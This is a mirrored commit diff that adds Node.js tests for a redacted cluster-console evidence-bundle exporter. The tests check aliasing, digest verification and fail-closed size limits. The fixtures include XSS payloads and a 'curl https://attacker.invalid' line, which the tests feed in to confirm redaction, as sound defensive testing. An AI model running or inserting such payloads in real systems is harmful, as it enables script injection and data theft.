mirror of
https://github.com/whyour/qinglong.git
synced 2026-09-23 12:05:27 +08:00
feat(ql3): export redacted cluster evidence bundle
This commit is contained in:
@@ -374,8 +374,14 @@ test('loads only digest-bound packaged assets and rejects drift', async (t) => {
|
||||
const assets = loadClusterCopilotConsoleAssets(moduleDirectory);
|
||||
assert.match(assets.html, /沿着证据读,不替集群做决定/);
|
||||
assert.match(assets.css, /prefers-reduced-motion/);
|
||||
assert.match(
|
||||
assets.evidenceBundle,
|
||||
/qinglong\/cluster-console-redacted-evidence-bundle@v1/,
|
||||
);
|
||||
assert.match(assets.evidenceBundle, /createClusterConsoleEvidenceBundle/);
|
||||
assert.match(assets.javascript, /output\.textContent = JSON\.stringify/);
|
||||
assert.match(assets.javascript, /run_event_list/);
|
||||
assert.match(assets.javascript, /createClusterConsoleEvidenceBundle/);
|
||||
assert.doesNotMatch(
|
||||
assets.javascript,
|
||||
/localStorage|sessionStorage|innerHTML/,
|
||||
@@ -412,9 +418,21 @@ test('serves an immutable same-origin shell with a closed browser policy', async
|
||||
assert.match(html.text, /Cluster field ledger/);
|
||||
|
||||
const css = await request(server.origin, { path: '/app.css' });
|
||||
const evidenceBundle = await request(server.origin, {
|
||||
path: '/evidence-bundle.js',
|
||||
});
|
||||
const javascript = await request(server.origin, { path: '/app.js' });
|
||||
assert.equal(css.statusCode, 200);
|
||||
assert.equal(evidenceBundle.statusCode, 200);
|
||||
assert.equal(javascript.statusCode, 200);
|
||||
assert.equal(
|
||||
evidenceBundle.headers['content-type'],
|
||||
'text/javascript; charset=utf-8',
|
||||
);
|
||||
assert.match(
|
||||
evidenceBundle.text,
|
||||
/qinglong\/cluster-console-redacted-evidence-bundle@v1/,
|
||||
);
|
||||
assert.equal(
|
||||
javascript.headers['content-type'],
|
||||
'text/javascript; charset=utf-8',
|
||||
|
||||
@@ -0,0 +1,256 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('node:assert/strict');
|
||||
const { webcrypto } = require('node:crypto');
|
||||
const test = require('node:test');
|
||||
|
||||
const {
|
||||
ClusterConsoleEvidenceBundleError,
|
||||
createClusterConsoleEvidenceBundle,
|
||||
limits,
|
||||
measureClusterConsoleEvidenceRecord,
|
||||
schema,
|
||||
serializeClusterConsoleEvidenceBundle,
|
||||
verifyClusterConsoleEvidenceBundle,
|
||||
} = require('../assets/copilot-console/evidence-bundle.js');
|
||||
|
||||
const requestSchema = 'qinglong/cluster-copilot-console-read-request@v1';
|
||||
|
||||
function runRecord(overrides = {}) {
|
||||
return {
|
||||
operation: 'run_read',
|
||||
observedAtMs: 1_700_000_000_000,
|
||||
request: {
|
||||
schema: requestSchema,
|
||||
operation: 'run_read',
|
||||
projectId: 'project-customer-production',
|
||||
requestId: 'console-request-sensitive',
|
||||
runId: 'run-customer-production',
|
||||
},
|
||||
fact: {
|
||||
schema: 'qinglong/bounded-run-projection@v1',
|
||||
schemaVersion: 1,
|
||||
status: 'succeeded',
|
||||
projectId: 'project-customer-production',
|
||||
runId: 'run-customer-production',
|
||||
createdAtMs: 1_700_000_000_000,
|
||||
finalizedAtMs: 1_700_000_001_000,
|
||||
outputAvailable: true,
|
||||
name: 'customer-production-nightly',
|
||||
message: 'ql3c_console_do_not_export',
|
||||
path: '/private/customer/run.log',
|
||||
unknownField: '<img src=x onerror=alert(1)>',
|
||||
},
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function outputRecord() {
|
||||
return {
|
||||
operation: 'output',
|
||||
observedAtMs: 1_700_000_002_000,
|
||||
request: {
|
||||
schema: requestSchema,
|
||||
operation: 'output',
|
||||
projectId: 'project-customer-production',
|
||||
requestId: 'diagnosis-request-sensitive',
|
||||
sourceRunId: 'run-customer-production',
|
||||
},
|
||||
fact: {
|
||||
schema:
|
||||
'qinglong/cluster-copilot-failure-diagnosis-output-read-response@v1',
|
||||
schemaVersion: 1,
|
||||
status: 'available',
|
||||
projectId: 'project-customer-production',
|
||||
sourceRunId: 'run-customer-production',
|
||||
diagnosisRunId: 'diagnosis-run-sensitive',
|
||||
reference: {
|
||||
artifactId: 'artifact-sensitive',
|
||||
artifactDigest: 'a'.repeat(64),
|
||||
contentDigest: 'b'.repeat(64),
|
||||
outputBytes: 71,
|
||||
sealedAtMs: 1_700_000_001_000,
|
||||
},
|
||||
result: {
|
||||
text: '<script>steal(credential)</script>',
|
||||
command: 'curl https://attacker.invalid',
|
||||
token: 'ql3c_console_do_not_export',
|
||||
finishReason: 'stop',
|
||||
},
|
||||
usage: {
|
||||
inputTokens: 20,
|
||||
outputTokens: 10,
|
||||
totalTokens: 30,
|
||||
costMicros: 42,
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
test('creates one self-verifiable redacted bundle with per-bundle correlated aliases', async () => {
|
||||
const records = [runRecord(), outputRecord()];
|
||||
assert.ok(measureClusterConsoleEvidenceRecord(records[0]) > 1);
|
||||
|
||||
const bundle = await createClusterConsoleEvidenceBundle(
|
||||
records,
|
||||
1_700_000_003_000,
|
||||
webcrypto,
|
||||
);
|
||||
const encoded = serializeClusterConsoleEvidenceBundle(bundle);
|
||||
const parsed = JSON.parse(encoded);
|
||||
|
||||
assert.equal(bundle.schema, schema);
|
||||
assert.equal(bundle.generatedBy, 'browser_local');
|
||||
assert.equal(bundle.actionAuthority, 'none');
|
||||
assert.equal(bundle.attestation, 'none');
|
||||
assert.equal(bundle.source.entryCount, 2);
|
||||
assert.equal(bundle.redaction.freeTextIncluded, false);
|
||||
assert.equal(bundle.redaction.copilotOutputIncluded, false);
|
||||
assert.equal(bundle.entries[0].target.projectId, 'project-001');
|
||||
assert.equal(bundle.entries[1].target.projectId, 'project-001');
|
||||
assert.equal(bundle.entries[0].target.runId, 'run-001');
|
||||
assert.equal(bundle.entries[1].target.sourceRunId, 'run-001');
|
||||
assert.equal(bundle.entries[0].fact.runId, 'run-001');
|
||||
assert.equal(bundle.entries[1].fact.sourceRunId, 'run-001');
|
||||
assert.equal(bundle.entries[1].fact.result, undefined);
|
||||
assert.equal(bundle.entries[1].fact.reference.artifactId, 'artifact-001');
|
||||
assert.match(bundle.entries[1].rawFact.sha256, /^[0-9a-f]{64}$/);
|
||||
assert.match(bundle.contentDigest, /^[0-9a-f]{64}$/);
|
||||
assert.equal(
|
||||
await verifyClusterConsoleEvidenceBundle(parsed, webcrypto),
|
||||
true,
|
||||
);
|
||||
|
||||
for (const forbidden of [
|
||||
'project-customer-production',
|
||||
'run-customer-production',
|
||||
'diagnosis-run-sensitive',
|
||||
'artifact-sensitive',
|
||||
'customer-production-nightly',
|
||||
'ql3c_console_do_not_export',
|
||||
'/private/customer/run.log',
|
||||
'<img src=x onerror=alert(1)>',
|
||||
'<script>steal(credential)</script>',
|
||||
'attacker.invalid',
|
||||
]) {
|
||||
assert.doesNotMatch(encoded, new RegExp(forbidden.replaceAll('/', '\\/')));
|
||||
}
|
||||
|
||||
parsed.entries[0].fact.status = 'failed';
|
||||
assert.equal(
|
||||
await verifyClusterConsoleEvidenceBundle(parsed, webcrypto),
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
test('resets the undisclosed alias table for every bundle', async () => {
|
||||
const first = await createClusterConsoleEvidenceBundle(
|
||||
[runRecord()],
|
||||
1_700_000_003_000,
|
||||
webcrypto,
|
||||
);
|
||||
const second = await createClusterConsoleEvidenceBundle(
|
||||
[
|
||||
runRecord({
|
||||
request: {
|
||||
schema: requestSchema,
|
||||
operation: 'run_read',
|
||||
projectId: 'another-project',
|
||||
requestId: 'another-request',
|
||||
runId: 'another-run',
|
||||
},
|
||||
}),
|
||||
],
|
||||
1_700_000_004_000,
|
||||
webcrypto,
|
||||
);
|
||||
|
||||
assert.equal(first.entries[0].target.runId, 'run-001');
|
||||
assert.equal(second.entries[0].target.runId, 'run-001');
|
||||
assert.notEqual(first.contentDigest, second.contentDigest);
|
||||
assert.equal(JSON.stringify(first).includes('another-run'), false);
|
||||
assert.equal(
|
||||
JSON.stringify(second).includes('run-customer-production'),
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
test('fails closed on widened records, unsafe JSON and every capacity ceiling', async () => {
|
||||
const error = { code: 'QL3_CLUSTER_CONSOLE_EVIDENCE_BUNDLE_INVALID' };
|
||||
assert.throws(() => measureClusterConsoleEvidenceRecord(null), error);
|
||||
assert.throws(
|
||||
() => measureClusterConsoleEvidenceRecord({ ...runRecord(), session: 'x' }),
|
||||
error,
|
||||
);
|
||||
assert.throws(
|
||||
() =>
|
||||
measureClusterConsoleEvidenceRecord({
|
||||
...runRecord(),
|
||||
operation: 'cancel',
|
||||
}),
|
||||
error,
|
||||
);
|
||||
assert.throws(
|
||||
() =>
|
||||
measureClusterConsoleEvidenceRecord({
|
||||
...runRecord(),
|
||||
request: { ...runRecord().request, endpoint: 'https://example.test' },
|
||||
}),
|
||||
error,
|
||||
);
|
||||
assert.throws(
|
||||
() =>
|
||||
measureClusterConsoleEvidenceRecord({
|
||||
...runRecord(),
|
||||
fact: { items: Array.from({ length: 65 }, () => ({})) },
|
||||
}),
|
||||
error,
|
||||
);
|
||||
const cyclic = runRecord();
|
||||
cyclic.fact.loop = cyclic.fact;
|
||||
assert.throws(() => measureClusterConsoleEvidenceRecord(cyclic), error);
|
||||
assert.throws(
|
||||
() =>
|
||||
measureClusterConsoleEvidenceRecord({
|
||||
...runRecord(),
|
||||
fact: { message: 'x'.repeat(limits.maximumEntryFactBytes + 1) },
|
||||
}),
|
||||
error,
|
||||
);
|
||||
|
||||
await assert.rejects(
|
||||
createClusterConsoleEvidenceBundle([], 1_700_000_003_000, webcrypto),
|
||||
ClusterConsoleEvidenceBundleError,
|
||||
);
|
||||
await assert.rejects(
|
||||
createClusterConsoleEvidenceBundle(
|
||||
Array.from({ length: limits.maximumRecords + 1 }, () => runRecord()),
|
||||
1_700_000_003_000,
|
||||
webcrypto,
|
||||
),
|
||||
ClusterConsoleEvidenceBundleError,
|
||||
);
|
||||
const largeRecords = Array.from({ length: 5 }, (_, index) =>
|
||||
runRecord({
|
||||
observedAtMs: 1_700_000_000_000 + index,
|
||||
fact: { message: String(index) + 'x'.repeat(2 * 1024 * 1024 - 64) },
|
||||
}),
|
||||
);
|
||||
await assert.rejects(
|
||||
createClusterConsoleEvidenceBundle(
|
||||
largeRecords,
|
||||
1_700_000_003_000,
|
||||
webcrypto,
|
||||
),
|
||||
ClusterConsoleEvidenceBundleError,
|
||||
);
|
||||
assert.throws(
|
||||
() =>
|
||||
serializeClusterConsoleEvidenceBundle({
|
||||
schema,
|
||||
contentDigest: 'a'.repeat(64),
|
||||
padding: 'x'.repeat(limits.maximumBundleBytes),
|
||||
}),
|
||||
error,
|
||||
);
|
||||
});
|
||||
Reference in New Issue
Block a user